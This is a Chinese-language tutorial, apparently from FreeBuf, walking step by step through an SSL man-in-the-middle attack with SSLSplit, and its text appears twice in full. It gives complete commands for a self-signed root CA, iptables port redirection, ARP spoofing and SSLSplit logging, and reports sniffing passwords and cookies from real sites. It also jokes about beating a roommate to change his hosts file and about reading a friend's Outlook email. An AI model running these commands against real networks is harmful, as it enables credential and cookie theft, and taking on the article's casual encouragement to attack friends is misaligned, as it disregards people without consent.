SSL中间人证书攻击测试演练

摘要

声明:文章我写的,但是不承认你瞎胡闹所带来的后果。

SSL中间人攻击事件

这几天,SSL证书欺骗可以说是占尽了风头,打开微博,朋友圈,FreeBuf处处可以见到SSL证书欺骗的资讯文章。

微软账号系统遭遇大规模SSL中间人攻击
国内iCloud服务器遭遇中间人攻击,中国苹果用户隐私不保
根本停不下来:Yahoo在中国遭遇SSL中间人攻击

……

先是iCloud,然后又是Yahoo,还有就是前几天的Microsoft。接下来的话题,我想再次跟大家聊聊中间人,不过这次主要是跟大家聊一聊关于SSL证书欺骗那点事儿。(说到这个我就心痛,我会告诉你到今天我还看到了一个中间人提示么= =..)

SSL中间人证书攻击测试演练

前言

其实说到MITM我们很正常的会想到很多工具,比如说我前几天刚写的MITMf,比如说:SSLStrip。确实,SSLStrip很强大,不过SSLStrip核心思想还是替换:将https协议强制替换为http。这在很多环境下是受限的。关于SSLStrip的介绍我这里不说太多,网上已经有了很多教程。优劣大家自己去评判。

最近网上大牛EtherDream还提出了一个关于SSLStrip的未来思路的思考,不愧是前端的大牛,十分具有深度,推荐大家去看一下。

不过,今天我们文章的主角却不是SSLStrip,而是另外一款工具——SSLSplit。

工具简介

关于这款工具我做一点简要的介绍:工具的主要原理是以中间人的身份将证书插入到客户端和服务器中间,从而截断客户端和服务器之间的数据。之前我们大多数做的都是针对于80端口的欺骗,也就是说,只要是超越了80端口我们就会有点棘手:比如常用的443端口,比如465和587端口,这些都是通过SSL加密进行数据传输的,简单的80端口监听肯定是什么都拿不到的。这个时候,就体现出SSL证书劫持的作用了。

这里给出SSLSplit的git地址:

https://github.com/droe/sslsplit

不说废话,下面开始安装。

安装

首先我们从git上面把源码搞下来:

git clone https://github.com/droe/sslsplit.git /opt/sslsplit

这里说一下,源码编译依赖于两个包,这个kali默认是没有安装的,我们需要安装一下

apt-get install libssl-dev libevent-dev

然后进行编译

make make install

成功之后我们输入sslsplit -h应该就会有帮助回显了,很简单,不废话。

数据流量重定向

关于数据怎么重定向到你的电脑上面也就是你怎么成为靶机和服务器的中间人,这个问题不是我们今天讨论的重点,但是因为跟本文还是有点关系,我给出几个建议方式吧:

1、ARP攻击 进内网……还用我多说么?永恒的传奇,不老的ARP。 2、DNS劫持 将靶机的DNS劫持到这里来,想做什么就好说了。 3、WIFI钓鱼 拿着个树莓派改装版或者拿着菠萝瞎溜达,哪里人多找哪里。 4、修改hosts文件 把舍友暴打一顿,然后把他的电脑的hosts文件改掉,反正他也不懂。 5、修改默认网关 把舍友暴打一顿,然后把他的电脑的默认网关改成自己的IP,反正他也不懂。 ……

这里我暂时可以想到的就这么多,另外友情提示一下:如果你的朋友比你高比你壮,别去轻易尝试……

这次测试我采用的是ARP攻击的方式。其他方式都是可以的,不一一赘述。

中间人攻击

准备好了之后我们开始尝试中间人攻击。

首先,我们需要一份数字根证书,用来进行中间人欺骗。如果你已经有数字证书就可以跳过这部分了土豪,女生请直接联系我。如果暂时还没有证书的,我们为了实验可以用openssl自己生成一封证书(关于数字证书的生成方式大家可以自行百度,网上很多)。简略步骤如下:

先生成一个key文件

openssl genrsa -out ca.key 2048

然后自签名用生成的key生成公钥证书:

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

SSL中间人证书攻击测试演练

这样我们就把根证书建好了。

然后我们还需要在攻击测试机上进行端口流量转发,将对应的流量转到工具中来,在此之前需要打开ip_forward功能:

echo 1 > /proc/sys/net/ipv4/ip_forward

接着是用iptables进行流量转发,需要把我们需要的端口进行转发:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

当然,在此之前请记得使用iptables -F清除原有设置。

我们可以使用

iptables -t nat -L

看一下我们的当前设置

SSL中间人证书攻击测试演练

这里可以确认没有问题了,进行下一步。

下一步是ARP欺骗,这个不用我说,大家都会,贴出命令:

arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2

SSL中间人证书攻击测试演练

这里我建议等到临开始劫持的时候再打开ARP,因为我们的端口转发已经打开,ARP流量已经不能与平时一样正常走攻击机的正常端口,会出现靶机上不了网的情况。

接下来就是SSLSplit出场了。

下面是帮助界面:

SSL中间人证书攻击测试演练

这里我不全都介绍,只介绍有用的参数:

-k 指定私钥key文件,进行欺骗

-c 指定Root CA证书文件

-D Debug模式,用于输出SSLSplit状态,建议使用时加上

-j 指定log目录地址

-S 指定-j参数目录下需要记录截断GET、POST请求的子目录地址

-l 指定存储的连接信息文件

ssl IP 端口 指定ssl需要监听的端口

tcp IP 端口 指定tcp需要监听的端口

这时候我们就可以进行中间人劫持了。

启动ARP

arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2

接着启动SSLSplit

sslsplit -D -l connect.log -j /opt/sslsplit/test1 -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

看图说话

启动之后,ARP结果如下:

SSL中间人证书攻击测试演练

SSLSplit启动之后:

SSL中间人证书攻击测试演练

然后此时我们使用靶机浏览https网页,就已经发现类似以上yahoo的状况了:

SSL中间人证书攻击测试演练

因为我们是追求科学的人,所以我们选择继续浏览:

SSL中间人证书攻击测试演练

在这里我们已经可以清晰看到我们的制作的根证书已经替换掉了服务器的官方证书。

然后,我又尝试了一下其他的诸如几个email网站,百度,taobao,微博等网站进行登录尝试,尝试的结果是:

部分网站可以直接嗅探到登录用户名和密码,而其他网站也大都获取到了Cookie等数据:

SSL中间人证书攻击测试演练

下面是我们通过嗅探得到的部分连接过程的GET以及POST请求文件:

SSL中间人证书攻击测试演练

然后我们可以看到记录中有关Cookie的文件:

SSL中间人证书攻击测试演练

我们看其中任意一个:

SSL中间人证书攻击测试演练

(请无视我这不专业的打码技术=。=如有信息泄露,请第一时间联系我)

可能有朋友也注意到了在iptables进行流量转发的时候还有其他端口,所以其实也完全可以进行Email数据劫持,我忽然记起我有个朋友特别喜欢用Outlook……

差不多了,就到了这里吧。我还要去搞我那个喜欢用Outlook的朋友呢,听说他的邮箱好多大片儿呢!

总结

有的朋友会说你这个肯定不行啊,因为很明显就被别人看出来了,那么个大红的姨妈警告谁看不见啊!这里我解释一下:

1、并不是所有的站点都会有这么明显的提示,经测试,部分国内某些权威的站点就不存在这样的提示。 2、我们本次是本着科普的目的进行单纯的试验,证书完全是自己生成的。那么如果证书真的是权威机构颁发的呢?很贵么? 3、目前我们的网络安全普及程度我想大家都看在眼里,并不是所有人都那么在乎这个红框框的,只要能用不就行了。另外,如果没记错,我们经常使用的买票的那谁的证书也不见得没问题吧,大家还不是照用不误,甚至给很多人以误导:这个提示是没用的,证书有错也是安全的,不信你看那谁.cn!相信你会无话可说。

这个时候如果使用证书劫持去搞wifi钓鱼,你还会说劫持到密码盗取钱财是“耸人听闻”的事情吗?

当然工具没什么技术含量,最重要的还是思路。希望本文可以让大家有点滴收获。:)

[文/FreeBuf小编xia0k 参考来源:github.com philippheckel.com 转载请注明FreeBuf.COM]

声明:文章我写的,但是不承认你瞎胡闹所带来的后果。

SSL中间人攻击事件

这几天,SSL证书欺骗可以说是占尽了风头,打开微博,朋友圈,FreeBuf处处可以见到SSL证书欺骗的资讯文章。

微软账号系统遭遇大规模SSL中间人攻击
国内iCloud服务器遭遇中间人攻击,中国苹果用户隐私不保
根本停不下来:Yahoo在中国遭遇SSL中间人攻击

……

先是iCloud,然后又是Yahoo,还有就是前几天的Microsoft。接下来的话题,我想再次跟大家聊聊中间人,不过这次主要是跟大家聊一聊关于SSL证书欺骗那点事儿。(说到这个我就心痛,我会告诉你到今天我还看到了一个中间人提示么= =..)

前言

其实说到MITM我们很正常的会想到很多工具,比如说我前几天刚写的MITMf,比如说:SSLStrip。确实,SSLStrip很强大,不过SSLStrip核心思想还是替换:将https协议强制替换为http。这在很多环境下是受限的。关于SSLStrip的介绍我这里不说太多,网上已经有了很多教程。优劣大家自己去评判。

最近网上大牛EtherDream还提出了一个关于SSLStrip的未来思路的思考,不愧是前端的大牛,十分具有深度,推荐大家去看一下。

不过,今天我们文章的主角却不是SSLStrip,而是另外一款工具——SSLSplit。

工具简介

关于这款工具我做一点简要的介绍:工具的主要原理是以中间人的身份将证书插入到客户端和服务器中间,从而截断客户端和服务器之间的数据。之前我们大多数做的都是针对于80端口的欺骗,也就是说,只要是超越了80端口我们就会有点棘手:比如常用的443端口,比如465和587端口,这些都是通过SSL加密进行数据传输的,简单的80端口监听肯定是什么都拿不到的。这个时候,就体现出SSL证书劫持的作用了。

这里给出SSLSplit的git地址:

https://github.com/droe/sslsplit

不说废话,下面开始安装。

安装

首先我们从git上面把源码搞下来:

git clone https://github.com/droe/sslsplit.git /opt/sslsplit

这里说一下,源码编译依赖于两个包,这个kali默认是没有安装的,我们需要安装一下

apt-get install libssl-dev libevent-dev

然后进行编译

make make install

成功之后我们输入sslsplit -h应该就会有帮助回显了,很简单,不废话。

数据流量重定向

关于数据怎么重定向到你的电脑上面也就是你怎么成为靶机和服务器的中间人,这个问题不是我们今天讨论的重点,但是因为跟本文还是有点关系,我给出几个建议方式吧:

1、ARP攻击 进内网……还用我多说么?永恒的传奇,不老的ARP。 2、DNS劫持 将靶机的DNS劫持到这里来,想做什么就好说了。 3、WIFI钓鱼 拿着个树莓派改装版或者拿着菠萝瞎溜达,哪里人多找哪里。 4、修改hosts文件 把舍友暴打一顿,然后把他的电脑的hosts文件改掉,反正他也不懂。 5、修改默认网关 把舍友暴打一顿,然后把他的电脑的默认网关改成自己的IP,反正他也不懂。 ……

这里我暂时可以想到的就这么多,另外友情提示一下:如果你的朋友比你高比你壮,别去轻易尝试……

这次测试我采用的是ARP攻击的方式。其他方式都是可以的,不一一赘述。

中间人攻击

准备好了之后我们开始尝试中间人攻击。

首先,我们需要一份数字根证书,用来进行中间人欺骗。如果你已经有数字证书就可以跳过这部分了土豪,女生请直接联系我。如果暂时还没有证书的,我们为了实验可以用openssl自己生成一封证书(关于数字证书的生成方式大家可以自行百度,网上很多)。简略步骤如下:

先生成一个key文件

openssl genrsa -out ca.key 2048

然后自签名用生成的key生成公钥证书:

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

这样我们就把根证书建好了。

然后我们还需要在攻击测试机上进行端口流量转发,将对应的流量转到工具中来,在此之前需要打开ip_forward功能:

echo 1 > /proc/sys/net/ipv4/ip_forward

接着是用iptables进行流量转发,需要把我们需要的端口进行转发:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

当然,在此之前请记得使用iptables -F清除原有设置。

我们可以使用

iptables -t nat -L

看一下我们的当前设置

这里可以确认没有问题了,进行下一步。

下一步是ARP欺骗,这个不用我说,大家都会,贴出命令:

arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2

这里我建议等到临开始劫持的时候再打开ARP,因为我们的端口转发已经打开,ARP流量已经不能与平时一样正常走攻击机的正常端口,会出现靶机上不了网的情况。

接下来就是SSLSplit出场了。

下面是帮助界面:

这里我不全都介绍,只介绍有用的参数:

-k 指定私钥key文件,进行欺骗

-c 指定Root CA证书文件

-D Debug模式,用于输出SSLSplit状态,建议使用时加上

-j 指定log目录地址

-S 指定-j参数目录下需要记录截断GET、POST请求的子目录地址

-l 指定存储的连接信息文件

ssl IP 端口 指定ssl需要监听的端口

tcp IP 端口 指定tcp需要监听的端口

这时候我们就可以进行中间人劫持了。

启动ARP

arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2

接着启动SSLSplit

sslsplit -D -l connect.log -j /opt/sslsplit/test1 -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

看图说话

启动之后,ARP结果如下:

SSLSplit启动之后:

然后此时我们使用靶机浏览https网页,就已经发现类似以上yahoo的状况了:

因为我们是追求科学的人,所以我们选择继续浏览:

在这里我们已经可以清晰看到我们的制作的根证书已经替换掉了服务器的官方证书。

然后,我又尝试了一下其他的诸如几个email网站,百度,taobao,微博等网站进行登录尝试,尝试的结果是:

部分网站可以直接嗅探到登录用户名和密码,而其他网站也大都获取到了Cookie等数据:

下面是我们通过嗅探得到的部分连接过程的GET以及POST请求文件:

然后我们可以看到记录中有关Cookie的文件:

我们看其中任意一个:

(请无视我这不专业的打码技术=。=如有信息泄露,请第一时间联系我)

可能有朋友也注意到了在iptables进行流量转发的时候还有其他端口,所以其实也完全可以进行Email数据劫持,我忽然记起我有个朋友特别喜欢用Outlook……

差不多了,就到了这里吧。我还要去搞我那个喜欢用Outlook的朋友呢,听说他的邮箱好多大片儿呢!

总结

有的朋友会说你这个肯定不行啊,因为很明显就被别人看出来了,那么个大红的姨妈警告谁看不见啊!这里我解释一下:

1、并不是所有的站点都会有这么明显的提示,经测试,部分国内某些权威的站点就不存在这样的提示。 2、我们本次是本着科普的目的进行单纯的试验,证书完全是自己生成的。那么如果证书真的是权威机构颁发的呢?很贵么? 3、目前我们的网络安全普及程度我想大家都看在眼里,并不是所有人都那么在乎这个红框框的,只要能用不就行了。另外,如果没记错,我们经常使用的买票的那谁的证书也不见得没问题吧,大家还不是照用不误,甚至给很多人以误导:这个提示是没用的,证书有错也是安全的,不信你看那谁.cn!相信你会无话可说。

这个时候如果使用证书劫持去搞wifi钓鱼,你还会说劫持到密码盗取钱财是“耸人听闻”的事情吗?

当然工具没什么技术含量,最重要的还是思路。希望本文可以让大家有点滴收获。:)

[文/FreeBuf小编xia0k 参考来源:github.com philippheckel.com 转载请注明FreeBuf.COM]

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: